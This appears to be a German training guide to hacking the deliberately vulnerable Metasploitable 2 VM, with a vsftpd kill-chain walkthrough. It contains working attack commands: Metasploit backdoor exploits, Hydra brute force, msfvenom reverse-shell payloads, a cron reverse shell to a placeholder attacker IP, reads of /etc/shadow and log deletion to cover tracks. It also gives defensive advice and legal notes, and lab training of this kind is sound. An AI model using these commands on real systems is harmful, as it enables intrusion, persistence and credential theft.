METASPLOITABLE 2
Ethical Hacking & Penetration Testing Documentation
Willkommen im Metasploitable 2 Labor
Metasploitable 2 ist eine absichtlich verwundbare Ubuntu-VM (Version 8.04), die speziell für das Training von Penetration Testing und Ethical Hacking entwickelt wurde.
Was ist Metasploitable 2?
- Betriebssystem: Ubuntu 8.04 Linux
- Größe: ~800MB komprimiert
- Zweck: Penetration Testing Training
- Sicherheitslevel: Absichtlich verwundbar
System Requirements
- RAM: Minimum 512MB (empfohlen 2GB)
- Festplatte: 8GB freier Speicher
- Virtualisierung: VirtualBox/VMware
- Netzwerk: Host-Only/NAT (kein Internet!)
Default Login-Daten
Benutzername: msfadmin
Passwort: msfadmin
MySQL root: (leer)
PostgreSQL: postgres/postgres
Wichtige Sicherheitshinweise
Installation & Setup
🔧 VirtualBox Installation
Download Metasploitable 2
Lade die VM von SourceForge herunter
wget https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip
VM in VirtualBox erstellen
Neue VM → Linux → Ubuntu (64-bit) → 2GB RAM
VMDK Datei einbinden
Extrahiere die ZIP und verwende die .vmdk Datei als Festplatte
Netzwerk konfigurieren
Host-Only Adapter für isolierte Umgebung
🖥️ VMware Installation
VMware Workstation/Player öffnen
Open a Virtual Machine → VMDK auswählen
VM-Einstellungen anpassen
Memory: 2GB, Network: Host-Only
Erste Inbetriebnahme
VM starten → Login: msfadmin/msfadmin
Netzwerkkonfiguration
Die korrekte Netzwerkkonfiguration ist kritisch für die Sicherheit:
# IP-Adresse ermitteln
ifconfig
# Netzwerkverbindung testen
ping 192.168.1.1
# SSH-Zugriff testen
ssh msfadmin@[METASPLOITABLE_IP]
Cyber Kill Chain Phasen
Systematische Herangehensweise für Penetration Testing
🔍 Reconnaissance
Informationssammlung über das Zielsystem
nmap -sV -O [TARGET_IP]
- Port-Scanning mit Nmap
- Service-Erkennung
- OS-Fingerprinting
- Banner Grabbing
🔨 Weaponization
Erstellung oder Beschaffung von Exploits
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
- Metasploit Framework
- Custom Exploit Development
- Payload Generation
- Exploit-DB Recherche
📨 Delivery
Übertragung der Exploits zum Ziel
- Direkter Netzwerkzugriff
- Social Engineering
- Email-basierte Angriffe
- Web-basierte Exploits
💥 Exploitation
Ausnutzung von Schwachstellen
set RHOST [TARGET_IP]
set RPORT 21
exploit
- vsftpd 2.3.4 Backdoor
- UnrealIRCd Backdoor
- distcc Command Execution
- Samba Exploits
⚙️ Installation
Installation von Persistenzmechanismen
# Backdoor installieren
echo "* * * * * /bin/bash -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1" | crontab -
- Backdoors einrichten
- Cron Jobs erstellen
- SSH-Keys hinterlegen
- Rootkits installieren
📡 Command & Control
Kommunikation mit kompromittiertem System
# Reverse Shell starten
nc -lvnp 4444
- Reverse Shells
- Meterpreter Sessions
- HTTP/HTTPS Tunnels
- Covert Channels
🎯 Actions on Objectives
Erreichen der Angriffsziele
# Privilege Escalation
sudo -l
find / -perm -4000 -type f 2>/dev/null
- Datenexfiltration
- Privilege Escalation
- Lateral Movement
- System Manipulation
Praktische Exploits
vsftpd 2.3.4 Backdoor
Port: 21 | CVE: CVE-2011-2523
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST [TARGET_IP]
exploit
Backdoor in der vsftpd 2.3.4 Version ermöglicht direkten Root-Zugriff.
UnrealIRCd 3.2.8.1 Backdoor
Port: 6667 | CVE: CVE-2010-2075
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST [TARGET_IP]
set RPORT 6667
exploit
Malicious Backdoor im UnrealIRCd Daemon für Command Execution.
distcc Daemon Exploit
Port: 3632 | CVE: CVE-2004-2687
use exploit/unix/misc/distcc_exec
set RHOST [TARGET_IP]
set PAYLOAD cmd/unix/bind_netcat
exploit
Remote Command Execution über den distcc Daemon.
SSH Brute Force
Port: 22 | Methode: Brute Force
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP] -t 4
Brute Force Angriff gegen SSH mit schwachen Credentials.
Post-Exploitation Techniken
🔓 Privilege Escalation
# SUID Binaries finden
find / -perm -4000 -type f 2>/dev/null
# Kernel Exploits
uname -a
searchsploit linux kernel 2.6
📂 Datenexfiltration
# Sensitive Dateien finden
find /home -name "*.txt" -o -name "*.pdf"
cat /etc/passwd
cat /etc/shadow
Rechtliche Grundlagen
🇩🇪 Deutsche Rechtslage
§ 202a StGB - Ausspähen von Daten
Wer unbefugt sich oder einem anderen Zugang zu Daten verschafft, die nicht für ihn bestimmt sind...
§ 202b StGB - Abfangen von Daten
Wer unbefugt sich oder einem anderen unter Anwendung technischer Mittel nicht für ihn bestimmte Daten verschafft...
§ 202c StGB - Vorbereiten des Ausspähens und Abfangens von Daten
Wer Computerprogramme, deren Zweck die Begehung einer Tat nach § 202a oder § 202b ist, herstellt oder sich verschafft...
🛡️ DSGVO Compliance
Art. 32 DSGVO - Sicherheit der Verarbeitung
Unter Berücksichtigung des Stands der Technik und der Implementierungskosten müssen angemessene technische und organisatorische Maßnahmen getroffen werden:
- Pseudonymisierung und Verschlüsselung
- Gewährleistung der Vertraulichkeit, Integrität, Verfügbarkeit
- Wiederherstellbarkeit der Verfügbarkeit
- Regelmäßige Überprüfung der Wirksamkeit
✅ Ethical Hacking Prinzipien
🎯 Autorisierung
Teste nur Systeme, für die du explizite Genehmigung hast
🛡️ Schadensvermeidung
Vermeide jegliche Beschädigung oder Beeinträchtigung der Systeme
🔒 Vertraulichkeit
Behandle alle gefundenen Informationen vertraulich
📋 Dokumentation
Dokumentiere alle Aktivitäten für spätere Analyse
⚠️ Haftungsausschluss
Diese Dokumentation dient ausschließlich Bildungszwecken.
- Der Autor übernimmt keine Haftung für Schäden durch unsachgemäße Verwendung
- Jeder Nutzer ist selbst für die Einhaltung geltender Gesetze verantwortlich
- Die beschriebenen Techniken sind nur in autorisierten Testumgebungen anzuwenden
- Bei Verstößen gegen geltendes Recht drohen erhebliche Strafen
Pentesting Tools & Commands
🗺️ Nmap - Network Mapper
Der Standard für Netzwerk-Reconnaissance und Port-Scanning
Basic Scans
# TCP SYN Scan
nmap -sS [TARGET_IP]
# Service Version Detection
nmap -sV [TARGET_IP]
# OS Detection
nmap -O [TARGET_IP]
# Comprehensive Scan
nmap -sS -sV -O -p- [TARGET_IP]
NSE Scripts
# Vulnerability Scanning
nmap --script vuln [TARGET_IP]
# SMB Enumeration
nmap --script smb-enum-* [TARGET_IP]
# HTTP Enumeration
nmap --script http-enum [TARGET_IP]
🚀 Metasploit Framework
Das mächtigste Exploitation Framework für Penetration Testing
Basic Commands
# Framework starten
msfconsole
# Exploit suchen
search vsftpd
# Exploit laden
use exploit/unix/ftp/vsftpd_234_backdoor
# Optionen anzeigen
show options
# Ziel setzen
set RHOST [TARGET_IP]
# Exploit ausführen
exploit
Payload Generation
# Reverse Shell Payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=4444 -f elf > shell.elf
# Meterpreter Payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=4444 -f elf > meterpreter.elf
🌊 Hydra - Password Cracker
Schneller Netzwerk-Login-Cracker für verschiedene Protokolle
Protocol Attacks
# SSH Brute Force
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]
# FTP Brute Force
hydra -L users.txt -P passwords.txt ftp://[TARGET_IP]
# HTTP POST Form
hydra -l admin -P passwords.txt [TARGET_IP] http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid"
# SMB/NetBIOS
hydra -L users.txt -P passwords.txt [TARGET_IP] smb
🔍 Nikto - Web Scanner
Web-Server-Scanner für Schwachstellen und Fehlkonfigurationen
Web Scanning
# Basic Web Scan
nikto -h [TARGET_IP]
# Port-spezifischer Scan
nikto -h [TARGET_IP] -p 80,443,8080
# Mit SSL
nikto -h https://[TARGET_IP]
# Output zu Datei
nikto -h [TARGET_IP] -o scan_results.txt
🐧 Netcat - Network Swiss Army Knife
Vielseitiges Netzwerk-Tool für verschiedene TCP/UDP-Operationen
Shell Operations
# Listener für Reverse Shell
nc -lvnp 4444
# Bind Shell erstellen
nc -lvnp 4444 -e /bin/bash
# Port Scanning
nc -zv [TARGET_IP] 1-1000
# Banner Grabbing
nc [TARGET_IP] 80
📋 enum4linux - SMB Enumerator
Spezialisiertes Tool für SMB/NetBIOS-Enumeration auf Linux-Systemen
SMB Enumeration
# Vollständige Enumeration
enum4linux -a [TARGET_IP]
# Benutzer auflisten
enum4linux -U [TARGET_IP]
# Shares auflisten
enum4linux -S [TARGET_IP]
# Passwort-Policy
enum4linux -P [TARGET_IP]
⚔️ VSFTPD Kill-Chain Walkthrough
Vollständiger Praxis-Lehrpfad durch alle sieben Phasen der Cyber Kill Chain am Beispiel des VSFTPD-Backdoors (CVE-2011-2523)
🔍 Reconnaissance
Ziel: Service- und Versionserkennung
Schritt 1: Netzwerk-Sichtung
netdiscover -r 192.168.56.0/24
Zweck: Findet die VM-IP (z.B. 192.168.56.101)
Schritt 2: Vollständiger Port-Scan
nmap -sS -sV -O -p- 192.168.56.101
Zweck: TCP-Stealth-Scan mit Service- & OS-Erkennung. Banner verraten vsftpd 2.3.4 auf Port 21.
Schritt 3: Schwachstellen-Validierung
nmap --script ftp-vsftpd-backdoor -p 21 192.168.56.101
Zweck: NSE-Skript meldet 'VULNERABLE' und bestätigt Backdoor-Port 6200.
🛡️ Verteidigung
Banner-Grabbing blockieren oder Banner anonymisieren; automatische Schwachstellen-Scanner im Netz segmentiert ausführen.
🔨 Weaponization
Ziel: Exploit bereitstellen
Metasploit Framework vorbereiten
msfconsole
search vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
Zweck: Modul-Infos belegen, dass beim Login-String ':)' die Backdoor auf 6200/TCP öffnet.
📨 Delivery
Ziel: Exploit zustellen
Exploit konfigurieren und ausführen
set RHOSTS 192.168.56.101
set RPORT 21
exploit
Zweck: Da es sich um einen Remote-Dienst handelt, erfolgt die 'Lieferung' direkt über die Netzwerkverbindung.
📟 Erwartete Ausgabe:
[*] 220 (vsFTPd 2.3.4)
[*] Backdoor service has been spawned, handling...
💥 Exploitation
Ziel: Code-Ausführung erreichen
Root-Shell erhalten
id
Zweck: Metasploit öffnet eine Shell als root. Ursache: Hartkodierte Backdoor im kompromittierten Quell-Tarball von 2011.
📟 Erwartete Ausgabe:
uid=0(root) gid=0(root) groups=0(root)
⚙️ Installation
Ziel: Persistenz schaffen
Schritt 1: Reverse-Meterpreter nachladen
sessions -u -1
Zweck: Shell → Meterpreter up-/downgrade für erweiterte Funktionen
Schritt 2: Persistenter Zugang via Cron
run persistence -U -i 60 -p 4444 -r 192.168.56.1
Zweck: Legt Cron-Job an, der alle 60s einen Reverse-TCP startet.
🛡️ Verteidigung
Datei-Integritätsmonitoring für /var/spool/cron & /etc/cron.* aktivieren. Root-Dateisystem per Auditd/Sysmon überwachen.
📡 Command & Control
Ziel: Sitzung dauerhaft steuern
Meterpreter-Kommandos
sysinfo
Zweck: OS-Details anzeigen
getuid
Zweck: Effektiver Benutzer (root)
upload /path/to/file /tmp/
download /etc/passwd /tmp/
Zweck: Daten ex-/infiltrieren
portfwd add -l 3389 -p 3389 -r 192.168.1.10
Zweck: Pivoting ins interne Netz
🛡️ Verteidigung
Outbound-Traffic zu unbekannten IPs/Ports (z.B. 4444 TCP) blockieren & alarmieren.
🎯 Actions on Objectives
Ziel: Privilege Escalation & Datenzugriff
Beweis für Systemkontrolle
cat /root/.bash_history
cp /etc/shadow /tmp/shadow.bak
Zweck: Da wir bereits root sind, können wir direkt auf alle sensiblen Dateien zugreifen.
Spurverwischung
history -c
rm /var/log/*.{log,old}
Zweck: Entfernung von Spuren der Aktivität für forensische Verschleierung.
🔀 Erweiterte Aktionen
Seitliche Bewegung: Samba-Shares auf 139/445 mit validen root-Hashes mounten. Interne Datenbanken (MySQL 3306) dumpen.
# MySQL Root-Zugang (kein Passwort)
mysql -u root -h localhost
# Datenbank-Dumps erstellen
mysqldump --all-databases > /tmp/db_dump.sql
# SMB-Shares erkunden
smbclient -L //192.168.56.101 -U root
🛡️ Verteidigung
Immutable-Logs (z.B. remote syslog) einsetzen. Filebeat/Wazuh zur Echtzeit-Log-Weiterleitung implementieren.
📊 Kill-Chain Zusammenfassung
Dieser VSFTPD-Walkthrough demonstriert eine vollständige Cyber Kill Chain:
🎯 Angriffserfolg
- ✅ Root-Shell in < 5 Minuten
- ✅ Persistenz etabliert
- ✅ Vollständige Systemkontrolle
- ✅ Datenexfiltration möglich
💡 Lerneffekte
- Systematisches Vorgehen nach Kill Chain
- Reconnaissance ist der Schlüssel
- Veraltete Software = kritisches Risiko
- Defense-in-Depth Ansatz notwendig